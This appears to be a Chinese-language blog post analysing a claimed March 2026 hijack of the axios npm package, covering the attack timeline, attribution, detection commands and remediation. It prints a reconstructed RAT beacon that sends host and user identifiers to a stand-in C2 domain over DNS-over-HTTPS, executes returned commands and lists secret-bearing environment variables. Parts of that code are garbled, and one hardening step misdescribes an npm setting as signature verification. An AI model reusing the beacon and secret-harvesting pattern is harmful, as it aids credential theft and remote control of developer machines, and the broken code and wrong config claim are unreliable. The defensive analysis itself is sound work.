返回首页

Axios-npm-Supply-Chain-Attack-2026-Deep-Analysis

Axios 供应链攻击深度分析:周下载量1亿的包被植入后门

Axios npm供应链攻击

2026年3月,生态遭遇了年度最严重的供应链攻击事件——攻击者劫持了npm周下载量超过1亿次的axios包的维护者账号,发布了一个包含远程访问木马(RAT)的恶意版本。该攻击被归因于朝鲜组织UNC1069,影响了全球数百万个依赖axios的项目。

攻击时间线还原

2026年3月中旬,npm安全团队在例行监控中发现axios包(版本1.8.2)的发布行为异常。正常情况下,axios的核心维护者会经过至少48小时的代码审查窗口才会发布新版本,但1.8.2版本在代码提交后不到2小时就被发布到了npm registry。深入调查发现,攻击者通过以下步骤完成了这次供应链攻击:

第一阶段:账号劫持(约2周前) 攻击者通过钓鱼邮件获取了axios核心维护者的npm账号凭证。钓鱼邮件伪装成npm的安全通知,声称检测到账号异常活动,要求用户点击链接验证身份。链接指向一个高度仿真的npm登录页面,成功窃取了维护者的密码和2FA恢复代码。

第二阶段:恶意代码注入(发布前48小时) 攻击者在获取账号访问权限后,并没有立即发布恶意版本。他们先fork了axios的仓库,在一个不起眼的依赖项plain-crypto-js中注入了恶意代码。这个包名与合法的crypto-js极为相似,利用了开发者的信任惯性。

第三阶段:版本发布(3月15日) 攻击者将修改后的package.json推送到npm,版本号1.8.2。恶意代码通过plain-crypto-js依赖被自动安装。由于axios的流程中缺乏对依赖变更的强制审查,恶意版本直接通过了自动化发布流程。

第四阶段:扩散与检测(3月15-17日) 恶意版本在npm上存活了约36小时。在此期间,据npm下载统计数据显示,该版本被下载了约4200万次。安全社区在3月17日上午开始报告异常,npm团队在接到报告后2小时内下架了恶意版本。

时间节点 事件 影响
3月初 维护者账号被钓鱼 初始访问
3月13日 恶意依赖注入 代码污染
3月15日 npm发布1.8.2 恶意版本上线
3月17日 安全社区发现异常 开始响应
3月17日+2h npm下架恶意版本 控制扩散
3月18日 axios发布1.8.3修复版 正式修复

恶意载荷技术分析

恶意版本中的plain-crypto-js包表面功能与crypto-js类似,提供基础的加密解密功能,但内嵌了一个跨平台RAT(远程访问木马)。该RAT的技术特征如下:

// 恶意载荷简化还原(已去除危险功能)
// 位于 plain-crypto-js/index.js 的混淆代码中

const https = require('https');
const os = require('os');
const { exec } = require('child_process');

// C2通信 - 使用 over HTTPS进行隐蔽通信
function beaconC2() {
    const hostId = `${os.hostname()}-${os.userInfo().username}`;
    const encoded = Buffer.from(hostId).toString('base64');
    
    // 通过DoH向攻击者C2服务器发送心跳
    https.get(`https://dns./resolve?name=${encoded}.c2domain.xyz&type=TXT`, 
        (res) => {
            let  = '';
            res.on('data', chunk => data += chunk);
            res.on('end', () => {
                const cmd = parseResponse(data);
                if (cmd) executeCommand(cmd);
            });
        }
    );
}

// 每30分钟心跳一次
setInterval(beaconC2, 30 * 60 * 1000);

// 收集系统信息
function collectSystemInfo() {
    return {
        platform: os.platform(),
        arch: os.arch(),
        hostname: os.hostname(),
        user: os.userInfo().username,
        env_keys: Object.keys(process.env).filter(k => 
            k.includes('KEY') || k.includes('TOKEN') || k.includes('SECRET')
        ),
        cwd: process.cwd(),
    };
}

RAT的核心功能包括:系统指纹收集(主机名、用户名、环境变量中的密钥)、远程命令执行、文件上传下载、以及持久化驻留。其最狡猾的设计是使用DNS over HTTPS(DoH)进行C2通信——通过Google的公共DNS服务作为中继,使得基于域名黑名单的传统防护措施完全失效。

攻击归因方面,Google的威胁分析团队(TAG)将该事件归因于朝鲜背景的APT组织UNC1069(又称Lazarus Group的子集群)。归因依据包括:C2基础设施的IP地址段与已知的朝鲜网络资产重叠;攻击代码中的时区信息指向UTC+9(朝鲜标准时间);以及TTP(战术、技术和程序)与UNC1069此前的npm供应链攻击高度一致。

JavaScript供应链攻击的结构性问题

Axios事件暴露了npm生态系统的深层结构性问题。npm是全球最大的软件包注册中心,拥有超过300万个包,周下载量超过750亿次。然而,其安全基础设施远远跟不上这个规模。

核心问题包括:

1. 单点维护者风险 axios这样一个每周被1亿次下载的关键基础设施包,其发布权限仅掌握在2-3个维护者手中。一旦其中一个账号被劫持,恶意代码就能直接影响整个生态。npm的"主要维护者"(primary maintainer)机制缺乏强制性的多人审批流程。

2. 依赖混淆攻击面 npm允许任何人发布任何名称的包,没有任何命名空间保护。攻击者注册plain-crypto-js这样与合法包名相似的包名,利用开发者的拼写错误或信任惯性进行攻击。这种"typosquatting"在npm上已经泛滥。

3. CI/CD自动化发布漏洞 许多流行包的npm发布流程是全自动的——GitHub Actions在检测到tag时自动构建并发布到npm。如果攻击者获取了GitHub仓库的写入权限,就能绕过所有人工审查直接发布恶意版本。

# 检查你的项目是否使用了受影响的axios版本
# 项目级别检查
npm ls axios 2>/dev/null | grep -E "axios@[01]\."

# 全局检查
find /path/to/projects -name "package-lock.json" -exec grep -l "axios" {} \; | while read f; do
    echo "=== $f ==="
    grep -A2 '"axios"' "$f" | head -5
done

# 检查是否存在plain-crypto-js恶意依赖
find /path/to/projects -name "node_modules" -prune -o -name "*.lock" -print | xargs grep "plain-crypto-js" 2>/dev/null

修复方案与应急响应

如果你的项目使用了axios 1.8.2版本,需要立即采取以下措施:

# 1. 立即升级axios
npm install axios@latest  # 1.8.3+ 已修复
# 或 yarn
yarn add axios@latest

# 2. 清除npm缓存
npm cache clean --force

# 3. 删除node_modules并重新安装
rm -rf node_modules package-lock.json
npm install

# 4. 检查是否安装了恶意依赖
npm ls plain-crypto-js 2>&1
# 如果输出中包含该依赖,说明已被影响

# 5. 轮换所有环境变量中的密钥和令牌
# 这一步至关重要——RAT会窃取环境变量中的敏感信息

对于企业用户,还需要执行以下额外步骤:

操作 优先级 说明
轮换所有密钥 紧急 RAT会窃取env中的TOKEN/KEY
审计构建日志 检查CI/CD是否使用了恶意版本
扫描生产环境 确认恶意包是否被部署
更新SBOM 软件物料清单更新
通知客户 如果你是库的维护者

供应链安全防护最佳实践

Axios事件后,企业需要重新审视其软件供应链安全策略。以下是一套经过验证的防护框架:

# 1. 使用lockfile完整性校验
# 确保package-lock.json中的哈希值未被篡改
npm ci --ignore-scripts  # 使用lockfile安装,跳过postinstall脚本

# 2. 启用npm的签名验证
npm config set sign-git-tag true

# 3. 使用Socket.dev等工具扫描依赖风险
npx socket npm ls  # 检测供应链风险

# 4. 限制npm安装行为
npm config set ignore-scripts true  # 禁止postinstall脚本
npm audit --audit-level=moderate     # 定期运行安全审计

# 5. 使用私有registry代理
# Verdaccio/Sinopia可以缓存和审查包
npm config set registry https://your-private-registry.com/

更根本的解决方案包括:采用npm的provenance(来源证明)功能,验证包是否从可信的CI/CD流水线发布;实施依赖锁定(dependency locking)策略,不允许自动升级;以及建立内部包审查流程,对所有新增依赖进行安全评估。

2026年供应链攻击趋势

Axios事件并非孤立事件。2026年上半年,npm、PyPI和VSCode扩展市场分别发生了多起重大供应链攻击:

攻击事件 生态系统 影响包数 时间
Axios npm劫持 npm 1(周下载1亿+) 2026年3月
GlassWorm npm/GitHub/VSCode 433组件 2026年3月
TeamPCP (Trivy/LiteLLM) npm/PyPI 3+ 2026年3月
Miasma (@redhat--services) npm 32包 2026年6月
TanStack缓存投毒 npm CI/CD流水线 2026年Q1

一个令人不安的趋势是,攻击正在从"包投毒"升级为"跨生态系统协调攻击"。GlassWorm攻击同时污染了npm、GitHub和VSCode三个平台的433个组件,展现出攻击者在供应链攻击方面的成熟度和协调能力正在快速提升。

对于开发者而言,"信任但验证"的时代已经结束。现在的原则应该是"零信任依赖"——每一个引入的第三方包都应该被视为潜在的攻击向量,直到经过验证。

数据来源

  1. Google TAG (Threat Group) - Axios Supply Chain Attack Attribution Report (March 2026)
  2. npm Team - Incident Report: axios 1.8.2 (March 2026)
  3. CyberDesserts - "Axios NPM Supply Chain Attack 2026: IOCs and Remediation"
  4. GrandLinux - "GlassWorm Embeds in 400+ Components" (March 2026)
  5. CybelAngel - "Miasma Supply Chain Attack: the Seven-Week Credential Trail" (June 2026)
  6. Aviatrix Threat - "Software Supply Chain Attack 2026: Patch Race"

评论